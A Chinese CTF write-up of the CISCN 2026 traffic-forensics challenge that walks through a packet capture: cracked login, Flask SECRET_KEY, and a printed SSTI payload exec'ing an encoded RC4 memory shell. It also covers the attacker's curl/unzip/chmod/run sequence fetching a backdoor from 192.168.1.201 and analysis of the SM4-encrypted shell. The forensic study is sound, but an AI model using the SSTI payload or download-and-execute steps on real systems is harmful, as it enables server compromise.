ciscn2026流量分析
流量取证
比赛的时候手慢了点,重新复现一下。
1
要求找到成功登陆时的账号密码。直接全局搜login,发现了大量的登陆请求。回显为用户名或密码错误。因此从后往前搜索login(ctrl+b搜索上一个),发现有一个登录后回显302的,发现后面成为管理员。因此找到302回显的发包,即可发现账号密码为admin zxcvbnm123
2
要求找到SERCET_KEY的值,直接全局搜索即可。 SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'
3
要求获取内存马的加密密钥
继续看下面的包,发现preview_content=,疑似ssti内存马注入。ssti注入内存马一般是通过http协议进行通信,继续往下看http协议包。过滤并保留http协议包,发现下一个包内就发送了很多奇怪的代码:
1 | preview_content={{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})} |
可以看到其经过base64加密。放到cycberchef里解密一下看看:
1 | _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); |
这里可以看到,先经过反转,然后base64解密,zlib解压缩。尝试解密一下:
1 | import zlib |
发现解密出的代码仍旧是exec(()(b’****’))的形式,存在嵌套加密。也就是说,恶意代码是
exec(()(b’exec(()(b’exec(()(b’exec(()(b’exec(()(b’***)))))))))) 这种的形式,我们需要逐层提取载荷,一直解压到最后。
exp为:
1 | import zlib |
提取出来的代码:
1 | global exc_class |
一个rc4加密的内存马。很明确了,密钥是
v1p3r_5tr1k3_k3y
4
要求找到内存马的名字。
接下来继续看后面的包。根据这个内存马,后面的数据都存在这个data里面。逐个查看data并解密即可知道执行了什么命令。
其分别执行了
id
ls -al
curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
这里的下一个http包中就get了一个shell.zip
然后通过打开Hypertext Transfer Protocol,在media type这里导出分组字节流即可获取到压缩包。
或者通过复制as a hex stream的方式放到cycberchef里,然后fromhex 导出也可。注意如果用其他方式复制,可能会导致一些不可显示的数据丢失掉,导致不能正常生成压缩包。
可以看到压缩包里面有一个shell,但是被加密了。
继续看下面的通信:
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13
可以看到,解压密码是nf2jd092jd01
这里还把木马重命名为pyhton3.13,可见其名字就是pyhton3.13了。这里启动木马后,通信就不通过http方式了,因此后面也没有http包。
5
要求找到shell的通信密钥。
之前我们已经拿到了shell的本题,直接去分析shell文件即可。
进入主函数:
1 | __int64 __fastcall main(int a1, char **a2, char **a3) |
很明显是一个开启socket用于执行命令的木马
注意此处:
1 | if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 ) |
这里接收了一个unsigned int v7,且为4字节;将其进行移位并赋值给seed作为种子生成v8[4]
因为代码里硬编码了ip 192.168.1.201,因此后面直接来看与192.168.1.201进行通信的TCP包
Data (4 bytes)
Data: 34952046
[Length: 4]
可知这就是传给木马的v7了。
继续分析代码,接下来是
sub_13B4(v10, v8, 0LL);
sub_13B4(v9, v8, 1LL);
这里的一个0一个1,很可能是一个用于加密一个用于解密的。
继续分析代码发现了
.rodata:0000000000002020 ; unsigned __int8 byte_2020[256]
.rodata:0000000000002020 byte_2020 db 0D6h, 90h, 0E9h, 0FEh, 0CCh, 0E1h, 3Dh, 0B7h, 16h, 0B6h
.rodata:0000000000002020 ; DATA XREF: sub_1229+26↑o
.rodata:000000000000202A db 14h, 0C2h, 28h, 0FBh, 2Ch, 5, 2Bh, 67h, 9Ah, 76h, 2Ah
.rodata:0000000000002035 db 0BEh, 4, 0C3h, 0AAh, 44h, 13h, 26h, 49h, 86h, 6, 99h
.rodata:0000000000002040 db 9Ch, 42h, 50h, 0F4h, 91h, 0EFh, 98h, 7Ah, 33h, 54h
.rodata:000000000000204A db 0Bh, 43h, 0EDh, 0CFh, 0ACh, 62h, 0E4h, 0B3h, 1Ch, 0A9h
.rodata:0000000000002054 db 0C9h, 8, 0E8h, 95h, 80h, 0DFh, 94h, 0FAh, 75h, 8Fh
.rodata:000000000000205E db 3Fh, 0A6h, 47h, 7, 0A7h, 0FCh, 0F3h, 73h, 17h, 0BAh
.rodata:0000000000002068 db 83h, 59h, 3Ch, 19h, 0E6h, 85h, 4Fh, 0A8h, 68h, 6Bh
.rodata:0000000000002072 db 81h, 0B2h, 71h, 64h, 0DAh, 8Bh, 0F8h, 0EBh, 0Fh, 4Bh
.rodata:000000000000207C db 70h, 56h, 9Dh, 35h, 1Eh, 24h, 0Eh, 5Eh, 63h, 58h, 0D1h
.rodata:0000000000002087 db 0A2h, 25h, 22h, 7Ch, 3Bh, 1, 21h, 78h, 87h, 0D4h, 0
.rodata:0000000000002092 db 46h, 57h, 9Fh, 0D3h, 27h, 52h, 4Ch, 36h, 2, 0E7h, 0A0h
.rodata:000000000000209D db 0C4h, 0C8h, 9Eh, 0EAh, 0BFh, 8Ah, 0D2h, 40h, 0C7h, 38h
.rodata:00000000000020A7 db 0B5h, 0A3h, 0F7h, 0F2h, 0CEh, 0F9h, 61h, 15h, 0A1h
.rodata:00000000000020B0 db 0E0h, 0AEh, 5Dh, 0A4h, 9Bh, 34h, 1Ah, 55h, 0ADh, 93h
.rodata:00000000000020BA db 32h, 30h, 0F5h, 8Ch, 0B1h, 0E3h, 1Dh, 0F6h, 0E2h, 2Eh
.rodata:00000000000020C4 db 82h, 66h, 0CAh, 60h, 0C0h, 29h, 23h, 0ABh, 0Dh, 53h
.rodata:00000000000020CE db 4Eh, 6Fh, 0D5h, 0DBh, 39h, 0B8h, 31h, 11h, 0Ch, 5Ah
.rodata:00000000000020D8 db 0CBh, 3Eh, 0Ah, 45h, 0E5h, 94h, 77h, 5Bh, 8Dh, 6Dh
.rodata:00000000000020E2 db 48h, 41h, 10h, 0BDh, 9, 0C1h, 4Ah, 89h, 0Dh, 6Eh, 97h
.rodata:00000000000020ED db 0A1h, 1Dh, 16h, 0Ah, 0D9h, 88h, 6Ah, 96h, 0D1h, 6Bh
.rodata:00000000000020F7 db 32h, 2, 35h, 46h, 6, 7Dh, 65h, 49h, 8Ch, 0F0h, 3Eh
.rodata:0000000000002102 db 2Dh, 7Ah, 15h, 0FFh, 5, 8Eh, 1, 84h, 3Ch, 3Ah, 38h
.rodata:000000000000210D db 53h, 87h, 7Bh, 0Bh, 2Bh, 7Eh, 0Fh, 0F6h, 69h, 0A8h
.rodata:0000000000002117 db 5Ah, 0B5h, 4Ch, 1Bh, 39h, 7Fh, 8, 8Dh, 1Ch
这个很明显是 SM4 的标准 S 盒。之前那个v8是128位的,那基本可以确实就是SM4密钥了。
写一个c程序获取密钥即可。注意要在linux上使用。
1 |
|
这里需要注意大端序小端序问题。
必须转为char形式,因为:
算法需求:SM4操作的是字节流,不是整数数组
字节序问题:直接打印整数会得到错误的字节顺序
内存表示:需要按内存中的实际布局获取数据
通用性:字节表示在所有平台上都是一致的
密钥:
ac46fb610b313b4f32fc642d8834b456
6
要求找到黑客获取的服务器中的flag值。
分析代码可知,是一个标准SM4+替换过的S盒
这部分参考了https://www.dr0n.top/posts/22eff239/#SnakeBackdoor-6,感谢师傅的wp。
1 |
|
写在最后
元旦花了一下午时间复现,虽然感觉后面半决就没有流量取证,更多是内存取证和上机,感觉也收获不少。后面就是速成web,然后把自己内存取证的功底捡一捡,道阻且长。
2026.1.1 19:52